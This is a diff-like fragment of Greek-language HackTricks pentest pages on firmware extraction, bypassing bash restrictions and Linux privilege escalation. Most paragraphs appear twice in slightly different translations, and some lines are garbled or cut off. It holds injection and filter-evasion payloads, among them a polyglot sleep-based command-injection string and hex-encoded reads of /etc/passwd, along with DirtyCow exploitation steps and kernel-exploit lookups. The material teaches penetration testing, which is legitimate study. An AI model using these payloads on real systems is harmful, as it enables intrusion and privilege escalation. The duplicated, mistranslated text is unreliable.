Χρησιμοποιώντας την εντολή `binwalk -ev <bin>`, συνήθως μπορεί να εξαχθεί το σύστημα αρχείων, συχνά σε έναν κατάλογο με το όνομα του τύπου του συστήματος αρχείων (π.χ. squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω της απουσίας μαγικών bytes, απαιτείται χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την αποκοπή του συστήματος αρχείων:
Χρησιμοποιώντας την εντολή `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν κατάλογο που ονομάζεται μετά τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω λείπουντος μαγικού byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενο από την εντολή `dd` για την ανάγλυψη του συστήματος αρχείων:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Στη συνέχεια, ανάλογα με τον τύπο του συστήματος αρχείων (π.χ. squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διάφορες εντολές για τη χειροκίνητη εξαγωγή των περιεχομένων.
### Ανάλυση Συστήματος Αρχείων
Μετά την εξαγωγή του συστήματος αρχείων, ξεκινά η αναζήτηση ευπάθειας ασφάλειας. Προσέχεται η αναζήτηση μη ασφαλών δαίμονων δικτύου, σκληροκωδικοποιημένων διαπιστευτηρίων, σημείων πρόσβασης στο API, λειτουργιών ενημέρωσης του διακομιστή, μη μεταγλωττισμένου κώδικα, εκκινητικών σεναρίων και μεταγλωττισμένων δυαδικών αρχείων για ανάλυση εκτός σύνδεσης.
Με το σύστημα αρχείων εξαγμένο, ξεκινά η αναζήτηση ευπαθειών ασφάλειας. Προσέχετε τους ανασφαλείς δαίμονες δικτύου, σκληρούς κωδικούς πρόσβασης, σημεία API, λειτουργίες ενημέρωσης διακομιστή, μη μεταγλωττισμένο κώδικα, scripts εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
**Κύριες τοποθεσίες** και **στοιχεία** που πρέπει να ελεγχθούν περιλαμβάνουν:
**Κύριες τοποθεσίες** και **στοιχεία** προς έλεγχο περιλαμβάνουν:
* **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρήστη
* Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
* Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
* Ενσωματωμένα δυαδικά αρχεία για περαιτέρω ανάλυση
* Κοινοί διακομιστές ιστοσελίδων και δυαδικά αρχεία συσκευών IoT
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
- Αρχεία ρυθμίσεων και scripts για πιθανές ευπάθειες
- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση
- Κοινοί διακομιστές ιστοσελίδων και δυαδικά συσκευών IoT
Πολλά εργαλεία βοηθούν στον εντοπισμό ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) για λεπτομερή ανάλυση του firmware
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών
- [**Το Εργαλείο Ανάλυσης και Σύγκρισης Firmware (FACT)**](https://github.com/fkie-cad/FACT\_core) για σφαιρική ανάλυση firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
### Έλεγχοι Ασφάλειας σε Μεταγλωττισμένα Δυαδικά Αρχεία
### Έλεγχοι Ασφάλειας σε Μεταγλωττισμένα Δυαδικά
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά αρχεία που βρίσκονται στο σύστημα αρχείων πρέπει να ελεγχθούν για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά αρχεία Unix και το **PESecurity** για δυαδικά αρχεία Windows βοηθούν στον εντοπισμό μη προστατευμένων δυαδικών αρχείων που μπορούν να εκμεταλλευτούν.
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξεταστούν προσεκτικά για ευπαθείς ευπαθείς. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στον εντοπισμό μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούνται.
## Προσομοίωση Firmware για Δυναμική Ανάλυση
## Εξομοίωση Firmware για Δυναμική Ανάλυση
Η διαδικασία προσομοίωσης του firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να αντιμετωπίσει προκλήσεις με εξαρτήσεις από υλικό ή αρχιτεκτονική, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών αρχείων σε μια συσκευή με την ίδια αρχιτεκτονική και τέλεια σειρά byte, όπως ένα Raspberry Pi, ή σε μια προετοιμασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
Η διαδικασία εξομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να αντιμετωπίσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με την ίδια αρχιτεκτονική και endianness, όπως ένα Raspberry Pi, ή σε μια προεγκατεστημένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
### Προσομοίωση Μεμονωμένων Δυαδικών Αρχείων
### Εξομοίωση Μεμονωμένων Δυαδικών
Για την εξέταση μεμονωμένων προγραμμάτων, είναι κρίσιμο να αναγνωριστεί η σειρά byte και η αρχιτεκτονική του προγράμματος.
Για την εξέταση μεμονωμένων προγραμμάτων, είναι κρίσιμο να αναγνωριστεί η endianness και η αρχιτεκτονική CPU του προγράμματος.
#### Παράδειγμα με Αρχιτεκτονική MIPS
Για να προσομοιώσετε ένα δυαδικό αρχείο με αρχιτεκτονική MIPS, μπορείτε να χρησιμοποιήσετε την εντολή:
Για να εξομοιώσετε ένα δυαδικό αρχιτεκτονικής MIPS, μπορείτε να χρησιμοποιήσετε την εντολή:
```bash
file ./squashfs-root/bin/busybox
```
Και για να εγκαταστήσετε τα απαραίτητα εργαλεία εξομοίωσης:
Και για να εγκαταστήσετε τα απαραίτητα εργαλεία προσομοίωσης:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
### Εξομοίωση Αρχιτεκτονικής ARM
Για το MIPS (big-endian), χρησιμοποιείται το `qemu-mips`, ενώ για τα little-endian δυαδικά, η επιλογή θα ήταν το `qemu-mipsel`.
Για δυαδικά αρχιτεκτονικής ARM, η διαδικασία είναι παρόμοια, με τον εξομοιωτή `qemu-arm` να χρησιμοποιείται για την εξομοίωση.
#### Προσομοίωση Αρχιτεκτονικής ARM
### Πλήρης Εξομοίωση Συστήματος
Για τα δυαδικά αρχεία ARM, η διαδικασία είναι παρόμοια, με τον εξομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
Εργαλεία όπως το [Firmadyne](https://github.com/firmadyne/firmadyne), το [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), και άλλα, διευκολύνουν την πλήρη εξομοίωση firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στη δυναμική ανάλυση.
### Πλήρης Προσομοίωση Συστήματος
## Δυναμική Ανάλυση στην Πράξη
Εργαλεία όπως το [Firmadyne](https://github.com/firmadyne/firmadyne), το [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) και άλλα, διευκολύνουν την πλήρη προσομοίωση του firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στη δυναμική ανάλυση.
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε εξομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι ουσιώδες να διατηρείτε πρόσβαση στο κέλυφος του λειτουργικού συστήματος και το σύστημα αρχείων. Η εξομοίωση ενδέχεται να μην αντικατοπτρίζει τέλεια τις αλληλεπιδράσεις με το υλικό, επομένως ενδέχεται να απαιτούνται περιοδικές επανεκκινήσεις της εξομοίωσης. Η ανάλυση θα πρέπει να επανεξετάζει το σύστημα αρχείων, να εκμεταλλεύεται τις αποκαλυφθείσες ιστοσελίδες και υπηρεσίες δικτύου, και να εξετάζει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας του firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών πίσω πόρτας.
## Τεχνικές Δυναμικής Ανάλυσης στην Πράξη
## Τεχνικές Ανάλυσης Χρόνου Εκτέλεσης
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα εξομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται πρόσβαση στο κέλυφος του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση ενδέχεται να μην αντιγράφει απόλυτα τις αλληλεπιδράσεις του υλικού, επομένως ενδέχεται να χρειαστούν περιοδικές επανεκκινήσεις της προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάζει το σύστημα αρχείων, να εκμεταλλεύεται εκθέτομενες ιστοσελίδες και υπηρεσίες δικτύου και να εξετάζει ευπάθειες του εκκινητή. Οι δοκιμές ακεραιότητας του firmware είναι κρίσιμες για τον εντοπισμό πιθανών ευπάθειών πίσω πόρτας.
Η ανάλυση χρόνου εκτέλεσης περιλαμβάνει την αλληλεπίδραση με ένα διεργασία ή δυαδικό στο περιβάλλον λειτουργίας του, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida, και το Ghidra για τον καθορισμό σημείων ανακοπής και την αναγνώριση ευπαθειών μέσω της τεχνικής του fuzzing και άλλων τεχνικών.
## Τεχνικές Ανάλυσης Εκτέλεσης
## Εκμετάλλευση Δυαδικών και Απόδειξης-Προς-Τούτο
Η ανάλυση εκτέλεσης περιλαμβάνει την αλληλεπίδραση με ένα διεργασία ή δυαδικό αρχείο στο περιβάλλον λειτουργίας του, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τον ορισμό σημείων ανακοπής και τον εντοπισμό ευπαθειών μέσω της τεχνικής του fuzzing και άλλων τεχνικών.
## Εκμετάλλευση Δυαδικών Αρχείων και Απόδειξη Έκθεσης
Για την ανάπτυξη μιας απόδειξης έκθεσης για εντοπισμένες ευπάθειες, απαιτείται μια βαθιά κατανόηση της αρχιτεκτονικής στόχου και της προγραμματισμού σε γλώσσες χαμηλού επιπέδου. Οι προστασίες εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, ενδέχεται να είναι απαραίτητες τεχνικές όπως η Return Oriented Programming (ROP).
Η ανάπτυξη μιας απόδειξης-προς-τούτο για εντοπισμένες ευπαθείες απαιτεί μια βαθιά κατανόηση της στόχευσης αρχιτεκτονικής και την προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες χρόνου εκτέλεσης δυαδικών συστημάτων ενσωματωμένων συστημάτων είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) ενδέχεται να είναι απαραίτητες.
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προετοιμασμένα περιβάλλοντα για τη δοκιμή ασφάλειας του firmware, εφοδιασμένα με τα απαραίτητα εργαλεία.
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-διαμορφωμένα περιβάλλοντα για τον έλεγχο ασφάλειας του firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
## Προετοιμασμένα ΛΣ για την Ανάλυση Firmware
## Προετοιμασμένα ΛΣ για Ανάλυση Firmware
* [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που σκοπό έχει να σας βοηθήσει να πραγματοποιήσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης σε συσκευές Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προετοιμασμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα ασφαλείας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 προφορτωμένο με εργαλεία για την ασφάλεια του firmware.
* [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που σκοπό έχει να σας βοηθήσει να πραγματοποιήσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύτιμο χρόνο παρέχοντας ένα προ-διαμορφωμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένο στο Ubuntu 18.04 προφορτωμένο με εργαλεία ελέγχου ασφαλείας firmware.
## Ευπαθή Firmware για Πρακτική
Για να πρακτικά ανακαλύψετε ευπάθειες στο firmware, χρησιμοποιήστε τα παρακάτω ευπαθή έργα firmware ως αφετηρία.
Για να πρακτικά ανακαλύψετε ευπαθείες σε firmware, χρησιμοποιήστε τα παρακάτω ευπαθή έργα firmware ως αφετηρία.
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@ -261,4 +240,4 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## Εκπαίδευση και Πιστοποίηση
* \[https://www.attify-store.com/products/offensive-iot-exploitation]\(https://www.attify-store.com/products/offensive-iot-exp
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

View file

@ -1,24 +1,25 @@
# Παράκαμψη Περιορισμών Linux
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
@ -98,7 +99,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Παράκαμψη απαγορευμένων κενών
### Παράκαμψη απαγορευμένων κενών χώρων
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -144,7 +145,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Παράκαμψη Διευθύνσεων IP
### Παράκαμψη IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
@ -217,7 +218,7 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Πολύγλωσση εισαγωγή εντολών
### Πολύγλωτη εισχώρηση εντολών
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@ -314,15 +315,15 @@ ln /f*
'sh x'
'sh g'
```
## Bypass Διαβάσιμου/Μη-εκτελέσιμου/Distroless
## Διέλευση Περιορισμών Ανάγνωσης-Μόνο/Χωρίς Εκτέλεση/Χωρίς Διανομή
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις προστασίες **διαβάσιμου και μη-εκτελέσιμου** ή ακόμα και σε έναν container distroless, υπάρχουν ακόμα τρόποι για **εκτέλεση αυθαίρετων δυαδικών, ακόμα και ενός κελύφους!:**
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις προστασίες **μόνο για ανάγνωση και χωρίς εκτέλεση** ή ακόμη και σε ένα δοχείο distroless, υπάρχουν ακόμη τρόποι για να **εκτελέσετε αυθαίρετα δυαδικά αρχεία, ακόμη και ένα κέλυφος!:**
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Παράκαμψη Chroot & Άλλων Φυλακών
## Διέλευση Χρηστών Chroot & Άλλων Φυλακών
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -339,20 +340,21 @@ ln /f*
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ανύψωση Δικαιωμάτων στο Linux
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Πληροφορίες Συστήματος
@ -26,7 +27,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Διαδρομή
Αν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** ενδέχεται να μπορείτε να αποκτήσετε πρόσβαση σε ορισμένες βιβλιοθήκες ή δυαδικά αρχεία:
Αν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** ενδέχεται να μπορείτε να αρπάξετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία:
```bash
echo $PATH
```
@ -51,7 +52,7 @@ searchsploit "Linux Kernel"
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση εκμετάλλευσης πυρήνα είναι:
Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση εκμεταλλεύσεων πυρήνα είναι:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
@ -61,7 +62,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
### CVE-2016-5195 (DirtyCow)
Ανόρθωση προνομίων Linux - Πυρήνας Linux <= 3.19.0-73.8
Ανόρθωση Προνομίων Linux - Πυρήνας Linux <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -71,7 +72,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Έκδοση Sudo
Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται στο:
Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται σε:
```bash
searchsploit sudo
```
@ -112,6 +113,8 @@ else
echo "Not found AppArmor"
fi
```
### Grsecurity
### Grsecurity
```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
@ -122,7 +125,7 @@ fi
```
### Execshield
Το Execshield είναι ένα χαρακτηριστικό που εισήχθη στον πυρήνα Linux για να προστατεύει τη μνήμη από επιθέσεις buffer overflow.
### Προστασία Execshield
```bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
```
@ -132,14 +135,12 @@ fi
```bash
(sestatus 2>/dev/null || echo "Not found sestatus")
```
### ASLR
### ASLR
```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
```
